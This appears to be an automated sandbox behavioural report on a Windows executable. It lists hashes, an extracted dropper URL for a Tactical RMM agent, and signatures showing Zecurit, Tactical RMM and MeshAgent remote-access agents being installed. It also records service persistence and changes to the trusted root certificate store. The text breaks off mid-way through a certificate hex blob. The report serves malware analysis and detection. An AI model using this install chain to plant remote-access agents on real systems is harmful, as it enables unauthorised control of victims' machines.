Analysis
- max time kernel
150s - max time network
154s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
17/10/2026, 04:26
Behavioral task
behavioral1
Sample
7ad81cd5580035c6e048d12a76a82b85b0f3278cedf9f55c6fceab171820cfd2.exe
Resource
win10v2004-20260911-en
windows10-2004-x64
26 signatures
150 seconds
Behavioral task
behavioral2
Sample
7ad81cd5580035c6e048d12a76a82b85b0f3278cedf9f55c6fceab171820cfd2.exe
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
33 signatures
150 seconds
General
- Target 7ad81cd5580035c6e048d12a76a82b85b0f3278cedf9f55c6fceab171820cfd2.exe
- Size 21.3MB
- Sample261017-e2l6dahy5v
- SHA256 7ad81cd5580035c6e048d12a76a82b85b0f3278cedf9f55c6fceab171820cfd2
- MD5 414654138697b0f8fe04e8a6c5b0c5cc
- SHA1 86edd55c3fa394fb4493c2e20a06d28681305d8c
- SHA512 b33f204c206809a6c825d06e4a3e748e7e39d5b36a106cb6b54c7686e2bfdce2ef0289abcfb5002f9dc4b2de02eedd91d4f6549461b3c49bd6c70137d9262ff2
- SSDEEP 393216:RTXZK22o6WYPmRaLeoTh/Dyi8y//+iGFV0N+bxYMWFBnjrNbuF1zTCyPjgo98:Rzk22o6maLeoTclo2iGbkFBnjp4z+yPW
- TLSH T18737333FF25CE53EC46F0A3285B292109A777A15640A8C1EA3FC744DCF769601E3B696
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
exe.dropper
https://github.com/amidaware/rmmagent/releases/download/v2.11.0/tacticalagent-v2.11.0-windows-amd64.exe
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 31 2220 powershell.exe 32 2220 powershell.exe 33 2220 powershell.exe - Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Mesh Agent\ImagePath = "\"C:\\Program Files\\Mesh Agent\\MeshAgent.exe\" " meshagent.exe - Executes dropped EXE 29 IoCs
pid Process 1908 7ad81cd5580035c6e048d12a76a82b85b0f3278cedf9f55c6fceab171820cfd2.tmp 4260 _setup64.tmp 3120 InstallUninstallApp.exe 4808 7za.exe 4180 ZecuritAgentRegister.exe 2428 ZecuritAgentService.exe 3024 ZecuritLiveNotifier.exe 6016 ZecuritCommandProcessor.exe 2408 ZecuritAgentRegister.exe 5768 ZecuritAgentAssetMgr.exe 5624 ZecuritAgentAssetMgr.exe 1000 ZecuritAgentService.exe 4388 ZecuritLiveNotifier.exe 3812 ZecuritCommandProcessor.exe 2648 ZecuritAgentTray.exe 4800 ZecuritAgentWinStore.exe 5208 ZecuritGeoLocationApp.exe 2336 ZecuritCommandProcessor.exe 2432 ZecuritCommandProcessor.exe 1064 tacticalagent-v2.11.0-windows-amd64.exe 3056 tacticalagent-v2.11.0-windows-amd64.tmp 2544 tacticalrmm.exe 5764 tacticalrmm.exe 2536 meshagent.exe 5032 MeshAgent.exe 5984 MeshAgent.exe 3580 MeshAgent.exe 4452 ZecuritCommandProcessor.exe 5812 MeshAgent.exe - Loads dropped DLL 31 IoCs
pid Process 4536 MsiExec.exe 4536 MsiExec.exe 4180 ZecuritAgentRegister.exe 4180 ZecuritAgentRegister.exe 2428 ZecuritAgentService.exe 2428 ZecuritAgentService.exe 3024 ZecuritLiveNotifier.exe 3024 ZecuritLiveNotifier.exe 6016 ZecuritCommandProcessor.exe 6016 ZecuritCommandProcessor.exe 6016 ZecuritCommandProcessor.exe 5624 ZecuritAgentAssetMgr.exe 5624 ZecuritAgentAssetMgr.exe 5768 ZecuritAgentAssetMgr.exe 5768 ZecuritAgentAssetMgr.exe 1000 ZecuritAgentService.exe 1000 ZecuritAgentService.exe 4388 ZecuritLiveNotifier.exe 4388 ZecuritLiveNotifier.exe 3812 ZecuritCommandProcessor.exe 3812 ZecuritCommandProcessor.exe 3812 ZecuritCommandProcessor.exe 2336 ZecuritCommandProcessor.exe 2336 ZecuritCommandProcessor.exe 2336 ZecuritCommandProcessor.exe 2432 ZecuritCommandProcessor.exe 2432 ZecuritCommandProcessor.exe 2432 ZecuritCommandProcessor.exe 4452 ZecuritCommandProcessor.exe 4452 ZecuritCommandProcessor.exe 4452 ZecuritCommandProcessor.exe - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\K: msiexec.exe - Drops file in System32 directory 64 IoCs
description ioc Process File opened for modification C:\Windows\System32\symbols\dll\dbghelp.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\DLL\bcrypt.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\msvcrt.pdb MeshAgent.exe File opened for modification C:\Windows\System32\ole32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\dbghelp.pdb MeshAgent.exe File opened for modification C:\Windows\System32\DLL\bcrypt.pdb MeshAgent.exe File opened for modification C:\Windows\System32\ntasn1.pdb MeshAgent.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\Request ZecuritAgentAssetMgr.exe File opened for modification C:\Windows\System32\iphlpapi.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\ncrypt.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\oleaut32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\combase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\rpcrt4.pdb MeshAgent.exe File opened for modification C:\Windows\System32\gdi32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\DLL\kernel32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\exe\MeshService64.pdb MeshAgent.exe File opened for modification C:\Windows\System32\oleaut32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\gdiplus.pdb MeshAgent.exe File opened for modification C:\Windows\System32\kernelbase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\comctl32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\ws2_32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\advapi32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\ole32.pdb MeshAgent.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\Request\Certificates ZecuritAgentAssetMgr.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache powershell.exe File opened for modification C:\Windows\System32\dll\ws2_32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\combase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\crypt32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\kernelbase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\oleaut32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\crypt32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\msvcp_win.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\advapi32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\shell32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\bcrypt.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\ntasn1.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\bcryptprimitives.pdb MeshAgent.exe File created C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\2D536B9E2E0036240397F9081FBD8340E89DA2CD MeshAgent.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\Request\CRLs ZecuritAgentAssetMgr.exe File opened for modification C:\Windows\System32\symbols\dll\apphelp.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\crypt32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\ucrtbase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\ucrtbase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\msvcp_win.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\advapi32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\ole32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dbghelp.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\gdiplus.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\ntdll.pdb MeshAgent.exe File opened for modification C:\Windows\System32\DLL\kernel32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\crypt32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\exe\MeshService64.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\user32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\sechost.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\ole32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\dll\ucrtbase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\gdi32full.pdb MeshAgent.exe File opened for modification C:\Windows\System32\symbols\DLL\iphlpapi.pdb MeshAgent.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\Request\CTLs ZecuritAgentAssetMgr.exe File opened for modification C:\Windows\System32\symbols\dll\kernelbase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\ucrtbase.pdb MeshAgent.exe File opened for modification C:\Windows\System32\dll\msvcp_win.pdb MeshAgent.exe File opened for modification C:\Windows\System32\comctl32.pdb MeshAgent.exe File opened for modification C:\Windows\System32\oleaut32.pdb MeshAgent.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Zecurit\Agent\Logs\agent_install.log ZecuritAgentRegister.exe File opened for modification C:\Program Files\Zecurit\Agent\symbols\dll\rpcrt4.pdb meshagent.exe File opened for modification C:\Program Files\Zecurit\Agent\sechost.pdb meshagent.exe File created C:\Program Files\Mesh Agent\MeshAgent.msh MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\msvcp_win.pdb MeshAgent.exe File created C:\Program Files\Zecurit\Agent\ZecuritCommandProcessor.exe 7za.exe File opened for modification C:\Program Files\Zecurit\Agent\advapi32.pdb meshagent.exe File opened for modification C:\Program Files\Zecurit\Agent\symbols\dll\shcore.pdb meshagent.exe File opened for modification C:\Program Files\Zecurit\Agent\dll\dbghelp.pdb MeshAgent.exe File opened for modification C:\Program Files\Zecurit\Agent\dll\bcryptprimitives.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\dll\Kernel.Appcore.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\shcore.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\MeshAgent.db MeshAgent.exe File opened for modification C:\Program Files\Zecurit\Agent\ZecuritScreenReaderService.exe 7za.exe File opened for modification C:\Program Files\Zecurit\Agent\dll\crypt32.pdb meshagent.exe File opened for modification C:\Program Files\Zecurit\Agent\MeshService64.pdb MeshAgent.exe File opened for modification C:\Program Files\Zecurit\Agent\symbols\dll\msvcrt.pdb MeshAgent.exe File opened for modification C:\Program Files\Zecurit\Agent\shell32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\dll\win32u.pdb MeshAgent.exe File opened for modification C:\Program Files\Zecurit\Agent\ZecuritAgentWinStore.exe 7za.exe File opened for modification C:\Program Files\Zecurit\Agent\symbols\DLL\bcrypt.pdb meshagent.exe File opened for modification C:\Program Files\Zecurit\Agent\DLL\bcrypt.pdb MeshAgent.exe File opened for modification C:\Program Files\Zecurit\Agent\dll\shcore.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\DLL\kernel32.pdb MeshAgent.exe File opened for modification C:\Program Files\Zecurit\Agent\mfc140.dll 7za.exe File opened for modification C:\Program Files\Zecurit\Agent\symbols\dll\Kernel.Appcore.pdb meshagent.exe File opened for modification C:\Program Files\Zecurit\Agent\symbols\dll\gdi32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\msvcrt.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\dll\shcore.pdb MeshAgent.exe File created C:\Program Files\Zecurit\Agent\ZecuritAssetMonitoring.exe 7za.exe File opened for modification C:\Program Files\Zecurit\Agent\apphelp.pdb meshagent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\exe\MeshService64.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\symbols\dll\ole32.pdb MeshAgent.exe File opened for modification C:\Program Files\Zecurit\Agent\Logs\agent_in.log ZecuritCommandProcessor.exe File created C:\Program Files\Zecurit\Agent\Storage\Profiles\2673\2673.json ZecuritCommandProcessor.exe File opened for modification C:\Program Files\Zecurit\Agent\symbols\dll\ole32.pdb meshagent.exe File opened for modification C:\Program Files\Mesh Agent\comctl32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\oleaut32.pdb MeshAgent.exe File opened for modification C:\Program Files\Zecurit\Agent\ZecuritApplicationControlService.exe 7za.exe File opened for modification C:\Program Files\Zecurit\Agent\ZecuritScreenReaderAppUI.exe 7za.exe File opened for modification C:\Program Files\Zecurit\Agent\msvcp140.dll 7za.exe File opened for modification C:\Program Files\Zecurit\Agent\rpcrt4.pdb meshagent.exe File opened for modification C:\Program Files\Zecurit\Agent\dbghelp.pdb meshagent.exe File opened for modification C:\Program Files\Zecurit\Agent\ws2_32.pdb MeshAgent.exe File opened for modification C:\Program Files\Zecurit\Agent\crypt32.pdb MeshAgent.exe File opened for modification C:\Program Files\Zecurit\Agent\dll\shell32.pdb MeshAgent.exe File created C:\Program Files\Zecurit\Agent\ZecuritAgentTray.exe.config 7za.exe File created C:\Program Files\Zecurit\Agent\ZecuritScreenReaderService.exe 7za.exe File opened for modification C:\Program Files\Zecurit\Agent\symbols\dll\dbghelp.pdb meshagent.exe File opened for modification C:\Program Files\Zecurit\Agent\dll\ntasn1.pdb meshagent.exe File opened for modification C:\Program Files\Zecurit\Agent\symbols\DLL\kernel32.pdb MeshAgent.exe File opened for modification C:\Program Files\Zecurit\Agent\kernelbase.pdb MeshAgent.exe File opened for modification C:\Program Files\Zecurit\Agent\symbols\dll\crypt32.pdb MeshAgent.exe File opened for modification C:\Program Files\Zecurit\Agent\msvcp_win.pdb MeshAgent.exe File opened for modification C:\Program Files\Zecurit\Agent\oleaut32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\MeshAgent.log MeshAgent.exe File created C:\Program Files\Zecurit\Agent\ZecuritADEntraHandler.dll 7za.exe File created C:\Program Files\TacticalAgent\meshagent.exe tacticalrmm.exe File opened for modification C:\Program Files\Zecurit\Agent\win32u.pdb meshagent.exe File opened for modification C:\Program Files\Zecurit\Agent\DLL\kernel32.pdb MeshAgent.exe File opened for modification C:\Program Files\Zecurit\Agent\bcryptprimitives.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\rpcrt4.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\gdi32.pdb MeshAgent.exe File opened for modification C:\Program Files\Mesh Agent\dll\msvcp_win.pdb MeshAgent.exe - Drops file in Windows directory 24 IoCs
description ioc Process File created C:\Windows\SystemTemp\__PSScriptPolicyTest_aysezkj2.dg0.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_k1vekc5e.b5z.ps1 powershell.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_1kilgket.jao.ps1 powershell.exe File opened for modification C:\Windows\Installer\e59d1ae.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIDCF9.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\SystemTemp\~DF5EDF31DC6403CCF3.TMP msiexec.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_pp5pbbfv.k3p.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_k0om33pl.ysc.psm1 powershell.exe File created C:\Windows\rescache\_merged\414160718\2500598541.pri ZecuritAgentWinStore.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_weftv2jm.veq.psm1 powershell.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSIDE81.tmp msiexec.exe File created C:\Windows\SystemTemp\~DF0BFAF7268D0E03E8.TMP msiexec.exe File created C:\Windows\SystemTemp\~DF8909C6AFCC6CDE60.TMP msiexec.exe File created C:\Windows\rescache\_merged\516575514\3585238608.pri ZecuritAgentWinStore.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_wo5czho1.4hu.psm1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_ubnlfktg.kti.ps1 powershell.exe File created C:\Windows\Installer\e59d1ae.msi msiexec.exe File opened for modification C:\Windows\Installer\MSID901.tmp msiexec.exe File created C:\Windows\SystemTemp\~DF4933180732A401B9.TMP msiexec.exe File created C:\Windows\Installer\SourceHash{D16197C5-AF74-4C36-B385-907AD910E9F3} msiexec.exe File created C:\Windows\Installer\e59d1b2.msi msiexec.exe -
pid Process 2220 powershell.exe 5812 powershell.exe 3092 powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4744 cmd.exe 5472 cmd.exe 3616 cmd.exe 3492 cmd.exe - Modifies trusted root certificate store through registry 1 TTPs 8 IoCs
A root certificate was added, modified, or removed in the trusted certificate store registry paths.
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\109F1CAED645BB78B3EA2B94C0697C740733031C\Blob = 5900000001000000100000005200530041002f004d0044003500000019000000010000001000000083b65318664e6fa245e0d7609fb95820030000000100000014000000109f1caed645bb78b3ea2b94c0697c740733031c140000000100000014000000265d0507d82fa26084bd837df52180a7056f5a852000000001000000130400003082040f308202f7a003020102020a198b11d13f9a8ffe69a0300d06092a864886f70d01010405003070312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f667420526f6f7420417574686f72697479301e170d3937313030313037303030305a170d3032313233313037303030305a3081c3312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e3141303f060355040b13384d6963726f736f66742057696e646f777320486172647761726520436f6d7061746962696c69747920496e7465726d656469617465204341311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e3131302f060355040313284d6963726f736f66742057696e646f777320486172647761726520436f6d7061746962696c69747930819f300d06092a864886f70d010101050003818d0030818902818100e04e100eb8a7ef21ca605adc9f1e3e83775a292ef94ee5085ddee1cf09c01f44b707a84ba422303b190683eef3ac2778aecad6402bce7901e19d568b3672b163905fa0b2c066a649c53cfa26a262c3d3b5cc61154cf23fb4e7450843897f6a8dd566fbd7ff6400c411fd2ca30b75b0fbe5ac2665a381e666493d1d737a9b71d70203010001a381da3081d7300f0603551d130101ff040530030101ff301f0603551d250418301606082b06010505070303060a2b0601040182370a03053081a20603551d0104819a30819780105bd070ef69729e23517e14b24d8effcba1723070312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f667420526f6f7420417574686f72697479820f00c1008b3c3c8811d13ef663ecdf40300d06092a864886f70d0101040500038201010016d8587683608be849582c050b644d40ad2d4dc2fc5f7d963cd0afb954522828d5655e8f710eb3080e1509c9d592cc241144242d51dfaf54444b7bd671d4d73a357cd186b405dca7097498b21b166d39a7446aad79eaa2cdff5b2a63d1848422ab98c68762621b539615604731571ee00161ad36efc52d0ab4d01853f3569cb4b7b7050433ad29279351070c9ebe80ff15bc26c741f36ce2c2eaafb4ae5e08bba8c95b509b4a08430ccedcffbb2aa7816f5facbc7528ea363ebc0a94450b5ccdb5e39f238cb507813d5978514639bca7f66d17037fee529a39bc09f2d2baa8d79505eb465254718ee87ecd9a6ee74af3a449f0cac695a5516055bd741ecb2c01 ZecuritAgentAssetMgr.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5900000001000000160000005200530041002f0053004800410032003500360000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da6030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f6314000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 ZecuritAgentAssetMgr.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\BE36A4562FB2EE05DBB3D32323ADF445084ED656\Blob = 5900000001000000100000005200530041002f004d004400350000006b00000001000000200000006b6c1e01f590f5afc5fcf85cd0b9396884048659fc2c6d1170d68b045216c3fd140000000100000014000000ddbcbd869c3f07ed40e31b08efcec4d188cd3b15190000000100000010000000181c2be05851f96993e196f279954b230b000000010000002e0000005400680061007700740065002000540069006d0065007300740061006d00700069006e006700200043004100000009000000010000000c000000300a06082b06010505070308030000000100000014000000be36a4562fb2ee05dbb3d32323adf445084ed6560400000001000000100000007f667a71d3eb6978209a51149d83da200f0000000100000010000000e8a598be84828efeae701115013576b25c0000000100000004000000000400002000000001000000a5020000308202a13082020aa003020102020100300d06092a864886f70d010104050030818b310b3009060355040613025a41311530130603550408130c5765737465726e2043617065311430120603550407130b44757262616e76696c6c65310f300d060355040a1306546861777465311d301b060355040b13145468617774652043657274696669636174696f6e311f301d060355040313165468617774652054696d657374616d70696e67204341301e170d3937303130313030303030305a170d3230313233313233353935395a30818b310b3009060355040613025a41311530130603550408130c5765737465726e2043617065311430120603550407130b44757262616e76696c6c65310f300d060355040a1306546861777465311d301b060355040b13145468617774652043657274696669636174696f6e311f301d060355040313165468617774652054696d657374616d70696e6720434130819f300d06092a864886f70d010101050003818d0030818902818100d62b587861458653ea347b519cedb0e62e180efee05fa827d3b4c9e07c594e160e735460c17ff69f2ee93a8524153cdb470463c39ec4941a5adf4c7af3d9431d3c107a7925db90fef051e730d64100fd9f28df79be94bb9db614e32385d7a941e04ca479b02b1a8bf2f83b8a3e45ac719200b4904198fb5fedfab72e8af888370203010001a3133011300f0603551d130101ff040530030101ff300d06092a864886f70d01010405000381810067dbe2c2e6873d40838637357d1fce9ac30c6620a8baaa048986c2f510080dbfcba2058ad04d363ef4d7ef69c65ee4b0946f4ab9e7de5b88b67bdbe327e576c3f035c1cbb5279b3379dc90a6009e77fafccd279442169cd31c68ecbf5cdde5a97b100a32745413318b85038491b75801301438af28cafcb150191909ac8949d3 ZecuritAgentAssetMgr.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\7F88CD7223F3C813818C994614A89C99FA3B5247\Blob = 5900000001000000100000005200530041002f004d0044003500000014000000010000001400000001f0334c1aa1d9ee5b7ba9de43bc027d570933fb0b00000001000000400000004d006900630072006f0073006f00660074002000410075007400680065006e007400690063006f0064006500280074006d002900200052006f006f0074000000090000000100000016000000301406082b0601050507030406082b060105050703030300000001000000140000007f88cd7223f3c813818c994614a89c99fa3b52470f0000000100000010000000d67576f5521d1ccab52e9215e0f9f74319000000010000001000000007d34ded498d4577f261bd38b6b8736e2000000001000000da030000308203d6308202bea003020102020101300d06092a864886f70d01010405003050310b3009060355040613025553310d300b060355040a13044d53465431323030060355040313294d6963726f736f66742041757468656e7469636f646528746d2920526f6f7420417574686f72697479301e170d3935303130313038303030315a170d3939313233313233353935395a3050310b3009060355040613025553310d300b060355040a13044d53465431323030060355040313294d6963726f736f66742041757468656e7469636f646528746d2920526f6f7420417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a0282010100df08bae33f6e649bf589af28964a078f1b2e8b3e1dfcb88069a3a1cedbdfb08e6c8976294fca603539ad7232e00bae293d4c16d94b3c9ddac5d3d109c92c6fa6c2605345dd4bd155cd031cd2595624f3e578d807ccd8b31f903fc01a71501d2da712086d7cb0866cc7ba853207e1616faf03c56de5d6a18f36f6c10bd13e69974872c97fa4c8c24a4c7ea1d194a6d7dceb05462eb818b4571d8649db694a2c21f55e0f542d5a43a97a7e6a8e504d2557a1bf1b1505437b2c058dbd3d038c93227d63ea0a5705060adb6198652d4749a8e7e656755cb8640863a9304066b2f9b6e334e86730e1430b87ffc9be72105e23f09ba74865bf09887bcd72bc2e799b7b0203010001a381ba3081b7300d0603551d0a040630040302078030320603550403042b13294d6963726f736f66742041757468656e7469636f646528746d2920526f6f7420417574686f7269747930720603551d01046b306980101a1be75b9ffd8c2ac339ae0c622e5332a1523050310b3009060355040613025553310d300b060355040a13044d53465431323030060355040313294d6963726f736f66742041757468656e7469636f646528746d2920526f6f7420417574686f72697479820101300d06092a864886f70d010104050003820101002dc9e2f6129e5d5667fafa4b9a7edc29565c80140228856e26f3cd58da5080c5f819b3a67ce29d6b5f3